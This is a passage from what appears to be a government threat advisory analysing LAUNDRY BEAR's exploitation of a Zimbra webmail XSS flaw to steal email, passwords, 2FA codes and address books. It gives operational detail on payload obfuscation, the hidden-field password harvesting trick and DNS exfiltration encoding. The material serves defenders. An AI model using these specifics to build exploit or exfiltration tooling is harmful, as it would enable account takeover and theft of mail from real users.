<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
